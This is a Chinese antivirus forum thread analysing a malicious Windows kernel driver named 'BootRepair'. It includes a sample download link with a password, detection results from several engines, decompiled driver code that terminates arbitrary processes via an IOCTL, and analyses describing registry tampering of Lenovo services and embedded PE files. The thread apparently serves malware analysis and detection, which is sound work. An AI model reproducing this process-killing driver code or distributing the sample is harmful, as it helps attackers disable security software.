查看: 1281|回复: 12
收起左侧

[病毒样本] 漏驱 1x

[复制链接]
压缩的时空
发表于 2026-6-8 13:34:54 | 显示全部楼层 |阅读模式
本帖最后由 压缩的时空 于 2026-6-8 13:36 编辑

今天火绒工程师远程找到的【VT 3检出】



https://wwbrg.lanzn.com/iA8zu3recs1g
密码:bidk

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
蓝雨风暴
发表于 2026-6-8 13:44:34 | 显示全部楼层
绿盟MISS,PYAS 1X

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
悦殇
发表于 2026-6-8 14:21:13 | 显示全部楼层
pyas的引擎还是厉害的

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
wowocock
发表于 2026-6-8 14:29:54 | 显示全部楼层
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT *DriverObject, PUNICODE_STRING RegistryPath)
{
  char v3; // di
  int v4; // ebx
  struct _UNICODE_STRING SymbolicLinkName; // [rsp+48h] [rbp-30h] BYREF
  struct _UNICODE_STRING DestinationString; // [rsp+58h] [rbp-20h] BYREF
  PDEVICE_OBJECT StartContext; // [rsp+80h] [rbp+8h] BYREF
  void *ThreadHandle; // [rsp+90h] [rbp+18h] BYREF

  ThreadHandle = 0i64;
  StartContext = 0i64;
  DriverObject->MajorFunction[4] = (PDRIVER_DISPATCH)&sub_140001000;
  DriverObject->MajorFunction[3] = (PDRIVER_DISPATCH)&sub_140001000;
  DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_140001000;
  DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_140001000;
  DriverObject->MajorFunction[16] = (PDRIVER_DISPATCH)&sub_140001084;
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_140001020;
  RtlInitUnicodeString(&DestinationString, L"\\Device\\::BootRepair");
  v3 = 0;
  v4 = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0, 0, &StartContext);
  if ( v4 >= 0 )
  {
    v4 = PsCreateSystemThread(&ThreadHandle, 0x1FFFFFu, 0i64, 0i64, 0i64, StartRoutine, 0i64);
    if ( v4 >= 0 )
    {
      RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\BootRepair");
      v4 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
      if ( v4 >= 0 )
      {
        v3 = 1;
        v4 = IoRegisterShutdownNotification(StartContext);
      }
    }
  }
  if ( v4 < 0 )
  {
    if ( v3 )
      IoDeleteSymbolicLink(&SymbolicLinkName);
    if ( StartContext )
      IoDeleteDevice(StartContext);
  }
  return v4;
}

__int64 __fastcall sub_140001020(__int64 a1, IRP *a2)
{
  struct _IO_STACK_LOCATION *CurrentStackLocation; // rcx
  struct _IRP *MasterIrp; // rax
  unsigned int v5; // edi

  CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
  MasterIrp = a2->AssociatedIrp.MasterIrp;
  v5 = -1073741823;
  if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 2236436 )
  {
    if ( MasterIrp && CurrentStackLocation->Parameters.Create.Options == 4 )
      v5 = sub_14000198C(*(unsigned int *)&MasterIrp->Type);
    else
      v5 = -1073741306;
  }
  a2->IoStatus.Information = 0i64;
  a2->IoStatus.Status = v5;
  IofCompleteRequest(a2, 0);
  return v5;
}
__int64 __fastcall sub_14000198C(void *a1)
{
  NTSTATUS v1; // ebx
  PEPROCESS Process; // [rsp+58h] [rbp+10h] BYREF
  HANDLE ProcessHandle; // [rsp+60h] [rbp+18h] BYREF

  Process = 0i64;
  ProcessHandle = 0i64;
  v1 = PsLookupProcessByProcessId(a1, &Process);
  if ( v1 >= 0 )
  {
    v1 = ObOpenObjectByPointer(Process, 0, 0i64, 0x1FFFFFu, 0i64, 0, &ProcessHandle);
    if ( v1 >= 0 )
      v1 = ZwTerminateProcess(ProcessHandle, 0);
  }
  if ( Process )
  {
    ObfDereferenceObject(Process);
    Process = 0i64;
  }
  if ( ProcessHandle )
    ZwClose(ProcessHandle);
  return (unsigned int)v1;
}
压缩的时空
 楼主| 发表于 2026-6-8 14:35:58 | 显示全部楼层
wowocock 发表于 2026-6-8 14:29
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT *DriverObject, PUNICODE_STRING RegistryPath)
{
  cha ...

AI总结:
该代码是一个 Windows 内核驱动程序(.sys)的入口及主要逻辑。分析如下:

一、驱动功能总览
驱动创建一个名为 \Device\::BootRepair 的设备,并建立符号链接 \DosDevices\BootRepair 供用户态访问。它注册了设备控制(IRP_MJ_DEVICE_CONTROL)处理例程,当收到特定控制码和附加条件时,能够终止任意指定进程。此外,驱动还创建了一个系统线程,并注册了关机通知。

二、各函数详细分析
1. DriverEntry – 驱动初始化
设置主要功能派发函数:

MajorFunction[0,2,3,4] → sub_140001000(未给出,通常是默认处理或拒绝访问)

MajorFunction[14] → sub_140001020(IRP_MJ_DEVICE_CONTROL,设备控制)

MajorFunction[16] → sub_140001084(IRP_MJ_SHUTDOWN,关机处理)

创建设备对象 \Device\::BootRepair(类型 FILE_DEVICE_UNKNOWN,0x22)

创建系统线程,入口为 StartRoutine(未给出,可能执行后台任务)

创建符号链接 \DosDevices\BootRepair,使应用层可通过 \\.\BootRepair 访问

注册关机通知(IoRegisterShutdownNotification),以便在系统关机前执行清理

若任何步骤失败,回滚已创建的资源

目的:注册一个可被用户态调用的设备接口,并启动后台线程。

2. sub_140001020 – 设备控制处理函数
原型:

c
__int64 __fastcall sub_140001020(__int64 a1, IRP *a2)
从 IRP 中获取当前栈位置 CurrentStackLocation

检查两个条件:

CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 2236436(十进制,即 0x222194)

MasterIrp = a2->AssociatedIrp.MasterIrp 不为空,且 CurrentStackLocation->Parameters.Create.Options == 4

若条件满足,调用 sub_14000198C,参数为 *(unsigned int*)&MasterIrp->Type(即从 MasterIrp 的 Type 字段地址读取一个 DWORD)

否则返回 STATUS_UNSUCCESSFUL 或 STATUS_INVALID_PARAMETER

最后完成 IRP 并返回状态

分析:

正常的设备控制应使用 Parameters.DeviceIoControl.IoControlCode,但这里却访问了 Read.ByteOffset 和 Create.Options,很可能是反编译工具的误判。实际上应为:

IoControlCode == 0x222194

InputBufferLength == 4(或类似条件)

MasterIrp 通常用于关联 IRP,这里却被当作传递进程 ID 的载体:从 MasterIrp->Type 提取一个 32 位值作为进程 ID。

这意味着用户态程序需要构造一个特殊 IRP(通过 DeviceIoControl)并满足上述隐藏条件,才能触发进程终止。

3. sub_14000198C – 终止进程的核心函数
参数 a1 被视为进程 ID(HANDLE/ULONG):

PsLookupProcessByProcessId 获取进程的 EPROCESS 对象

ObOpenObjectByPointer 打开进程句柄,权限为 0x1FFFFFu(几乎全部权限,包括 PROCESS_TERMINATE)

ZwTerminateProcess 终止该进程

释放 EPROCESS 引用并关闭句柄

功能:给定进程 ID,强制终止该进程。

三、整体行为判定
核心能力:通过设备控制接口,外部程序可以终止任意进程(包括系统进程),只要知道目标进程 ID。

隐蔽性:

设备名包含双冒号 ::BootRepair,可能试图绕过简单的枚举或检测。

触发条件不仅需要特定的控制码,还需要 IRP 中 MasterIrp 非空且 Create.Options==4,这增加了非预期调用的难度,但并非安全措施,更像是防止误触发或限制调用来源。

附加功能:

创建了系统线程(未分析),可能用于持续监控或恶意载荷。

注册关机通知,可能在关机时执行隐藏操作(如删除自身)。

四、潜在风险与用途
恶意用途:

作为木马/后门的一部分,远程获取进程 ID 后即可结束杀毒软件、系统关键进程,造成系统不稳定或防御失效。

伪装成“启动修复”工具,诱导用户或系统加载。

合法用途:

可能是某类系统工具(如进程管理器)的内核组件,但通常此类功能会用标准 API(如 ZwTerminateProcess)从用户态实现,不必要编写内核驱动。

驱动没有进行任何权限校验,任意进程只要能够打开设备句柄即可调用,极具危险性。

五、结论
该驱动程序实现了一个内核级进程终止后门,可通过 \\.\BootRepair 设备接口,发送特定控制码来强制结束任意进程。建议将其视为恶意软件或高度可疑组件,不应在正常系统中加载。

注意:sub_140001000 和 sub_140001084 以及 StartRoutine 未提供,可能包含其他恶意行为(如隐藏自身、网络通信、文件操作等)。完整分析需结合这些函数。

fdsax
发表于 2026-6-8 14:41:18 | 显示全部楼层
best

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
TPFan
发表于 2026-6-8 16:02:19 | 显示全部楼层
ESSP报潜在不安全,不过我感觉这个跟前段时间被爆出来的联想电脑管家某个驱动情况有点类似

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
胡淇允
发表于 2026-6-8 16:16:41 | 显示全部楼层
本帖最后由 胡淇允 于 2026-6-8 16:18 编辑

样本通过创建隐藏设备 \\Device\\::BootRepair 与用户模式通信,并在系统线程中循环篡改 LAVService、LenovoDRS、LenovoPcManagerService 等服务的注册表键值(ImagePath、Security 等),同时向用户模式开放 IOCTL 0x222014 后门,可直接在内核层终止任意指定 PID 的进程。数据段 0x140004000 起还嵌入了完整的 PE 可执行文件,具有典型的持久化与防御规避特征。
1 样本为内核驱动,DriverEntry (FUN_140007000) 创建隐藏设备 \\Device\\::BootRepair 与符号链接 \\DosDevices\\BootRepair,并启动系统线程执行后台任务。
置信度 95%
FUN_140007000 (0x140007000)
IoCreateDevice
IoCreateSymbolicLink
PsCreateSystemThread


2 系统线程 (FUN_140001930) 循环调用主逻辑函数 FUN_1400010e0,篡改多个系统服务的注册表配置,包括修改 ImagePath 指向 \\Security\\service\\ 下路径,并写入硬编码的 Security 描述符(数据取自 0x140004000,长度 0xE0)。
置信度 95%
FUN_140001930 (0x140001930)
FUN_1400010e0 (0x1400010e0)
ZwOpenKey
ZwSetValueKey
ZwQueryValueKey
0x140004000


3 驱动在关机 IRP (IRP_MJ_SHUTDOWN) 处理函数 FUN_140001084 中再次调用 FUN_1400010e0,确保关机前重新应用恶意注册表配置,实现持久化。
置信度 90%
FUN_140001084 (0x140001084)
FUN_1400010e0 (0x1400010e0)
IoRegisterShutdownNotification


4 IRP_MJ_DEVICE_CONTROL 处理函数 FUN_140001020 处理 IOCTL 0x222014,将用户传入的缓冲区首 DWORD 作为 PID,调用 FUN_14000198c,在内核中通过 PsLookupProcessByProcessId + ObOpenObjectByPointer + ZwTerminateProcess 强制终止目标进程,构成内核级任意进程终止后门。
置信度 98%
IOCTL 0x222014
FUN_140001020 (0x140001020)
FUN_14000198c (0x14000198c)
PsLookupProcessByProcessId
ZwTerminateProcess
ObOpenObjectByPointer


5 数据段 0x140004000、0x140005000、0x140006000 等偏移处均出现完整的 MZ/PE 可执行头特征,说明驱动中嵌入了至少一份 PE 可执行文件,可能用于后续释放或内存加载。
置信度 90%
0x140004000
0x140005000
0x140006000



检测到的恶意函数 (6)
sub_0x140007000 @ 0x140007000
high
原因: DriverEntry:创建隐藏设备 \\Device\\::BootRepair,注册符号链接,创建系统线程并注册关机通知。
sub_0x140001930 @ 0x140001930
high
原因: 系统线程例程:循环调用注册表篡改逻辑,直到成功或超过 3001 次重试。
sub_0x1400010e0 @ 0x1400010e0
high
原因: 核心恶意逻辑:构造并篡改服务注册表键值(ImagePath、Security 等),劫持合法服务名。
sub_0x140001020 @ 0x140001020
high
原因: IRP_MJ_DEVICE_CONTROL 分发器:处理 IOCTL 0x222014,将用户输入透传给进程终止后门。
sub_0x14000198c @ 0x14000198c
critical
原因: 内核后门:接收 PID 后直接查找并强制终止任意进程(PsLookupProcessByProcessId -> ZwTerminateProcess)。
sub_0x140001084 @ 0x140001084
medium
原因: IRP_MJ_SHUTDOWN 处理函数:关机前重新执行注册表篡改,确保持久化。


Myrenaser
发表于 2026-6-8 18:36:11 | 显示全部楼层
EES解压

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-10-19 08:12 , Processed in 0.088750 second(s), 2 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表